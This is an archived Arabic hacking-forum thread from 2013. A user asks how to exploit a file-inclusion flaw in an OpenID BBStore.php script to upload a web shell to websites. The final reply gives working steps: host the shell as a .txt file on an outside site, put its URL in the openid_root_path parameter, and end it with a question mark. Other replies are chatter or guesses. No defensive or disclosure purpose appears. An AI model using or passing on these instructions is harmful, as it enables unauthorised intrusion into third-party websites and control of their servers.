development-point

development-point (https://vb.development-point.com/index.php)
-   مشاكل وحلول اختراق المواقع (https://vb.development-point.com/forumdisplay.php?f=45)
-   -   [ سؤال ] مساعدة بخصوص رفع الشل (https://vb.development-point.com/showthread.php?t=8306)

ddt 04-09-2013 11:52 AM

مساعدة بخصوص رفع الشل
 
عندي ثغرة أريد استخدامها وأريد مساعدة في رفع الشل

/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=shell?

حسب ما أعرفه يجب وضع رابط الشل مكان shell مع الابقاء على (؟) حسنا على أي موقع يمكن رفع الشل ودمجه هنا

فهل يجب أن يكون موقع رفع ملفات عادي أم يكون مساحة أحجزها على استضافة

وإن كان موقع رفع عادي على أي موقع يمكن أن أرفع ؟

MisterMDE999 04-09-2013 06:29 PM

رد: مساعدة بخصوص رفع الشل
 
مالي خبره بي مواقع, بس ان شاء الله
يفيدونك الاخوان.. بالتوفيق ي وحش,

MhWy 04-10-2013 02:40 PM

رد: مساعدة بخصوص رفع الشل
 
انت مثل اللي يقول طلعو لي شاي من الناقه :) ~
ي غـالي هات الموقع والثغره وحنا نساعدك
اماتجيب ثغره وتقول اي موقع يركب عليها :)

yousif zozo 05-12-2013 06:58 PM

رد: مساعدة بخصوص رفع الشل
 
ما عندخبرة كبيرة فالمواقع لكن
اعتقد ان هذه ثغرة لوكال فايل انكلود
وهي قليلة جدا وتقريبا راح تنقرض
بالتوفيق

GENERAL AMERICA 07-10-2013 12:46 PM

رد: مساعدة بخصوص رفع الشل
 
اخي عتقد لو تعطينة الموقع احسن يمكن نكدر نساعدك

ElSyad 07-19-2013 09:02 PM

رد: مساعدة بخصوص رفع الشل
 
ثغرة لوكال فايل انكلود " local file include "

شوف ي صحبي بالنسبة لسؤالك والي فهمته انك مش عارف تستغل الثغرة صح

شوف اول حاجة لازم يكون معاك شيل مرفوع ع اي موقع بصيغة txt وبعدين تستغل الاستغلال ف الاخر

كود PHP:

/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=shell

مكان كلمة " shell " حط رابط الشيل الي بصيغة txt ومش تنسي بعد الرابط ف اخره تحط علامة الاستفهام

عيش ي ريس


الساعة الآن 02:24 AM

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
development-point

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47